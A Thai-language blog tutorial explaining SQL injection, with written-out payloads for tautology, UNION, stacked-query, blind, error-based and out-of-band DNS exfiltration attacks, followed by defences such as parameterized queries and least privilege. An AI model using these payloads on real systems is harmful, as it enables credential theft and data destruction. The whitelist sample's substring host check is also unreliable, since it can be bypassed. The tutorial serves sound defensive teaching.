Coding Gun

การโจมตีและการป้องกัน SQL Injection


SQL Injection คือ รูปแบบการโจมตี Web Application ที่ส่ง Query เข้าไปใน input ของ Web Application ซึ่ง ณ ปัจจุบันเป็นปัญหาที่พบได้เยอะและบ่อยที่สุด แต่เนื่องจากการป้องกัน SQL Injection ทำได้ง่ายขึ้นมากๆ และการพัฒนา software ณ ปัจจุบันเราใช้ ORM เป็นหลัก(เราเขียน SQL น้อยลง) ดังนั้น SQL Injection จึงลดความรุนแรงลงไป และตกลงมาอยู่ในอันดับ 3 ของ OWASP TOP 10 ปี 2023

แต่ถึงจะไม่ใช่อันดับ 1 แต่ก็ยังเป็นปัญหาที่ developer ทุกคนต้องทำความรู้จักและตระหนักถึงปัญหาที่อาจเกิดจาก SQL Injection

การโจมตีด้วย SQL Injection

ปัญหาของ SQL Injection คือการปล่อยให้ User input SQL เข้ามาโดยที่ไม่ได้ตรวจสอบให้ดี(ต้องมี input validation)

ตัวอย่าง ถ้าเราส่ง input เข้ามาเพื่อ query items โดยระบุ username และชื่อ item เข้ามาแบบนี้

string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '"
                + userName + "' AND itemname = '"
                + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);

ซึ่ง attacker จะส่ง input เข้่ามาแบบนี้ เพื่อดึงข้อมูลทั้งหมดออกมา

xxx' or 'a'='a

เพื่อให้ SQL กลายเป็น

SELECT * FROM items
WHERE owner = 'john'  /* owner ส่งมาเป็นอะไรก็ได้ */
AND itemname = 'xxx' OR 'a'='a';

เมื่อเจอเงื่อนไข OR ‘a’=‘a’ จะทำให้เงื่อนไขข้างหน้าไม่มีผลทันที เพราะ จากค่าความจริงของ OR

P Q P v Q
T T T
T F T
F T T
F F F

ไม่ว่าจะเป็น TRUE หรือ FALSE เมื่อนำไป OR กับ TRUE จะกลายเป็น TRUE ทันที นั่นคือ SQL Statement ที่เขียนจะมีค่าเทียบเท่ากับ

SELECT * FROM items

ตัวอย่างการโจมตีด้วย SQL Injection

นอกจากตัวอย่างด้่านบนแล้ว SQL Injection ยังมีการโจมตีได้อีกหลายรูปแบบ ซึ่งสามารถแบ่งวิธีการโจมตีด้วย SQL Injection ออกเป็น 6 กลุ่มดังนี้

  1. Union query-based วิธีนี่เราขะใช้ UNION ในการดึงข้อมูลจาก table อื่นที่เราสนใจมาแสดงผล โดยหลักการของ UNION คือจำนวน Column ต้องตรงกันและ data type ต้องตรงกัน ดังนั้นการโจมตีด้วย Union query based จะต้องรู้จำนวน column ก่อน หลัังจากนั้นค่อไปดึงข้อมูลมาใส่ลงใน column ที่มี datatype ตรงกัน

    • ขั้นตอนแรก เราจะต้องหาจำนวน column ก่อน โดยทดลองใส่เลขเข้าไปใน ORDER BY ถ้าเลขที่เกินจำนวน column ที่มีจะเกิด error
      xxx' ORDER BY 1 --
      xxx' ORDER BY 2 --
      xxx' ORDER BY 3 --
      
      เมื่อรวมเป็น SQL Statement เต็มจะได้แบบนี้
      SELECT * FROM items 
      WHERE itemname='xxx' ORDER BY 3 --
      
      ลองไปเรื่อยๆจนกว่าจะ error
    • ขั้นตอนที่ 2 ให้ทำการ UNION ข้อมูลที่อยากรู้ออกมาแสดงผลใน column ที่มี datatype ตรงกัน โดยที่ attacker จะส่ง input เข้ามาแบบนี้
      xxx' UNION SELECT NULL, NULL, username, password, NULL FROM users --
      
      เมื่อรวมเป็น SQL Statement เต็มๆแล้วจะออกมาแบบนี้
      1
      2
      3
      4
      5
      
      SELECT * FROM items 
      WHERE itemname='xxx' 
      UNION 
      SELECT NULL, NULL, username, password, NULL 
      FROM users --
      
      ในตัวอย่างนี้เราจะเอา username และ password จาก table users มาใส่ลงใน column ที่ 3 และ 4 ซึ่งมี datatype เป็น Varchar ซึ่งเราอยากจะข้ามช่องไหนก็ใส่ NULL ได้เลย แต่สุดท้ายจำนวน column ต้องครบตามจำนวน column ของ table items
  2. Stacked queries วิธีนี้เราจะใช้การปิด select statement แล้วไปใส่ query อื่นๆต่อท้าย ยกตัวอย่างเช่น

    ';DROP TABLE items; --
    

    เมื่อรวมเป็น SQL Statement เต็มๆจะได้ statement ดังต่อไปนี้

    SELECT * FROM items WHERE itemname='xxx';DROP TABLE items; -- '
    

    หรือเราอาจใช้เปลี่ยน password ของ admin ก็ได้

    SELECT * FROM items WHERE itemname='xxx';UPDATE users SET password='new-password' WHERE username='Administrator'
    
  3. Boolean-based blind Blind SQL Injection เป็นการโจมตีแบบที่ไม่ต้องเอาผลลัพธ์ออกมาแสดงผล จะใช้การถามเข้าไปแล้วผลลัพธ์จะออกมาเป็น ใช่(True) กับ ไม่ใช่(False) เช่น เราจะใส่ input เข้าไปเพื่อถามว่า password ของ Administrator ตัวที่ 1 ใช่ตัวอักษร a รึเปล่า

    xxx' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 'a
    

    เมื่อรวมเป็น SQL Statement เต็มๆจะได้ statement ดังต่อไปนี้

    SELECT * FROM items 
    WHERE itemname='xxx' AND SUBSTRING(
        (SELECT Password FROM Users WHERE Username = 'Administrator')
        , 1, 1
    ) = 'a'
    

    SUBSTRING((SELECT …), 1, 1) หมายถึงตัด password 1 ตัว เริ่มจากตัวแรก หลังจากที่เรารู้ว่าตัวอักษรเป็นตัวอะไรให้เปลี่ยนเป็น SUBSTRING((SELECT …), 2, 1) ไปเรื่อยๆจนกว่าจะครบ

    หลังจากนั้นให้ไล่ไปทีละตัวอักษรตั้งแต่ a-z อาจรวมตัวเลขและอักขระพิเศษเข้าไปด้วยก็ได้

  4. Time-based blind วิธีนี้จะเหมือนกับ Boolean-based blind แต่จะต่างกันตรงที่ผลลัพธ์ที่ตอบกลับมาจะเป็น ช้า(True) หรือ เร็ว(False)

    ตัวอย่าง เราจะส่ง query เข้าไปตรวจสอบว่า MySQL DATABASE เป็น Version ไหน attacker จะส่ง input เข้าไปแบบนี้

    xxx' AND IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null) -- 
    

    เมื่อรวมเป็น SQL Statement เต็มๆจะได้ statement ดังต่อไปนี้

    SELECT * FROM items 
    WHERE itemname='xxx' 
          AND IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null) -- '
    

    เราจะใช้ SUBSTRING(Version(),1,1) เพื่อตัดเอาเลข versiom ตัวแรกออกมา ถ้าเป็น version 5 เราจะให้ SLEEP(10) หรือหยุดทำงานไป 10 วินาที

  5. Error-based เป็นวิธีที่ใช้ Error ในการตอบคำถาม เช่น ถ้า password ตัวแรกของ Administrator เป็น a ก็จะ error(แสดงว่าถูกต้อง) แต่ถ้าไม่ error ก็แสดงว่าไม่ใช่ โดยที่โครงสร้างของ SQL ที่ attacker จะ inject เข้าไปจะเป็นแบบนี้

    -- 1=2 เป็น False จะ return ค่า a ออกไป
    xxx' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
    

    ในกรณีแรก CASE WHEN จะเป็น False เพราะ 1=2 เมื่อเป็น False ก็จะ return ค่า a ออกไป ซึ่งก็จะไม่มี Error และเมื่อ return ‘a’ ออกไปจะเท่ากับ ‘a’ ตัวขวาสุด ได้ผลลัพธ์ของ statement หลัง ANDเป็น TRUE ซึ่งจะไม่มีผลกับ Query เลยเพราะ อะไรมา AND กับ TRUE จะได้ค่าเดิมเสมอ จากตารางค่าความจริงของ P จะไม่เปลี่ยนแปลง

    P Q P ^ Q
    T T T
    F T F
    -- 1=1 เป็น TRUE จะเกิด Error ที่ 1 หารด้วย 0(devide by zero)
    xxx' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
    

    ในกรณีที่ 2 CASE WHEN ขะเป็น TRUE เนื่องจาก 1=1 จะเกิด Error ในกรณีที่ 1 หารด้วย 0(ทางคณิตศาสตร์ตัวหารห้ามเป็น 0)

    ดังนั้นในการโจมตีเราจะใช้ตั้งคำถามเข้าไปแทนที่ 1=1 แบบนี้

    xxx' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = 'a') THEN 1/0 ELSE 'a' END FROM Users)='a
    

    เมื่อนำไปรวมกับ SQL Statement ก่อนหน้าจะเป็นแบบนี้

    1
    2
    3
    4
    5
    6
    
    SELECT * FROM items 
    WHERE itemname='xxx' AND 
        (SELECT CASE WHEN
         (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = 'a') 
            THEN 1/0 ELSE 'a' 
        END FROM Users)='a'
    

    เงื่อนไขที่ใช้ถามก็คือ password ตัวแรกของ Administrator เท่ากับ a หรือไม่

    • ถ้า ใช่ ก็จะเกิด error
    • ถ้า ไม่ใช่ ก็ได้ผลลัพธ์เหมือนเดิม ไม่มีอะไรเปลี่ยนแปลง
  6. Out-of-band เป็นวิธีโจมตีที่ attacker ไม่ได้ผลลัพธ์จากการ query(response ไม่ได้ส่งไปที่ attacker) ดังนั้นเราต้องใช้เทคนิคนี้ในการดึงข้อมูลออกมา ยกตัวอย่างเช่น

    SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))
    

    ปัญหานี้เกิดใน MySQL 5.5.2 ซึ่ง attaker สามารถ run query บน database server เพื่อให้เกิด DNS request(ในบางกรณีอาจใช้ Http Request) ไปยัง domain

    database_version.database_user.database_password.example.com
    

    ซึ่ง request นี้จะถูกส่งไปยัง DNS server ที่ attaker ตั้งไว้ ซึ่งจะทำให้ attacker ได้ทั้ง Version ของ database, username และ password ไป

วิธีการป้องกัน SQL Injection

ลองมาดูว่า SQL Injection มีวิธีการแป้องกันแล้วแก้ไขยังไงบ้าง ซึ่งทางเลือกในการป้องกันมีดังนี้

Input Validation

Input Validation ถือว่าเป็นหัวใจสำคัญของการรักษาความปลอดภัยของ Web Application เพราะเราควรจะต้องตรวจสอบ input ก่อนนำไปใช้งานเสมอ

ซึ่งหลักการของการทำ Input Validation คือต้องใช้ Whitelisting concept นั่นคือเราจะบอกว่า input ที่สามารถใส่เข้าไปได้มีตัวอักษรหรืออักขระอะไรบ้าง ซึ่งวิธีการทำ Whitelisting มี 3 วิธี ดังนี้

  1. Type Casting ทำการแปลงเป็น datatype ที่ถูกต้อง เช่น Boolean, DateTime หรือ Integer พวกนี้จะมีรูปแบบชัดเจน

  2. Regular Expression ใช้ regular expression ในการกำหนด pattern ของ input ที่จะนำเข้า ในกรณีที่เป็น string ต้องใช้วิธีนี้

  3. Known Value กำหนดค่าของ good value หรือ known value เข้าไปใน Whitelisting array แล้วตรวจสอบว่า ค่าที่ส่งเข้ามาอยู่ใน Whitelisting array หรือไม่ เช่น

    public static bool checkWhitelistingDomain(string host)
    {
        var corsOriginAllowed = new[] { "globalmantics.com", "example.com" };
        return corsOriginAllowed.Any(origin => host.Contains(origin));
    }
    

    ในตัวอย่างนี้จะใช้การตรวจสอบว่า origin ที่ส่งเข้ามาอยู่ใน whitelisting array หรือไม่ ซึ่งในตัวอย่างนี้เราจะมี domain ที่สามารถ call api ของเราได้อยู่ 2 domains คือ globalmantics.com และ example.com

Parameterize Query

Parameterize Query คือ feature ของ database ที่จะนำ input เข้าไปต่อกับ SQL statement ให้เราเอง เราเพียงแค่ assign ตัวแปรเข้าไปใน PreparedStatement เท่านั้น ข้อดีคือเราจะไม่โดน SQL Injection และเรายังได้ performance ที่ดีขึ้นด้วย เพราะ database จะไม่ต้องสร้าง execution plan ใหม่(input ใหม่จะส่งเข้าไปยัง execution plan เดิม)

String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
// FIXME: ควรจะต้องมี input validation ก่อนเข้าไปรัน query
String query = "SELECT id, firstname, lastname FROM authors ";
query += "WHERE firstname = ? and lastname = ?";

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, firstname );
pstmt.setString( 2, lastname );
try
{
    ResultSet results = pstmt.execute( );
}

Object Relational Mapping(ORM)

ในการพัฒนา Application ในปัจจุบันเราควรจะต้องใช้ ORM เพราะจะช่วยประหยัดเวลาในการเขียน(ลด error ที่เกิดจากการเขียน query) แต่นอกจากเรื่อง productivity แล้วเรายังได้ความปลอดภัยที่มากขึ้นด้วย เพราะเราไม่ได้เขียน SQL เองแล้วนั่นเอง

ข้อแนะนำ ควรเลือกใช้ ORM ที่มีคุณภาพที่ดี และควรนำมาทดสอบ Injection ด้วยตัวเองอีกรอบ

Least Privilege

ข้อนี้ไม่ได้เป็นการป้องกัน SQL Injection แต่เป็นการลดผลกระทบที่เกิดขึ้นจาก SQL Injection นั่นคือคุณต้องกำหนดสิทธิของ user ที่ใช้ connect database มีสิทธิแค่เพียงเท่าที่ใช้งานเท่านั้น ซึ่งส่วนใหญ่ก็จะมีแค่สิทธิในการใช้ SELECT, INSERT, UPDATE และ DELETE (DQL และ DML)เท่านั้น อย่าให้มีสิทธิในการ ALTER, CREATE, DROP หรือ GRANT(DDL และ DCL) เด็ดขาด

อ่านต่อเพิ่มเติมได้ที่

Phanupong Permpimol
Follow me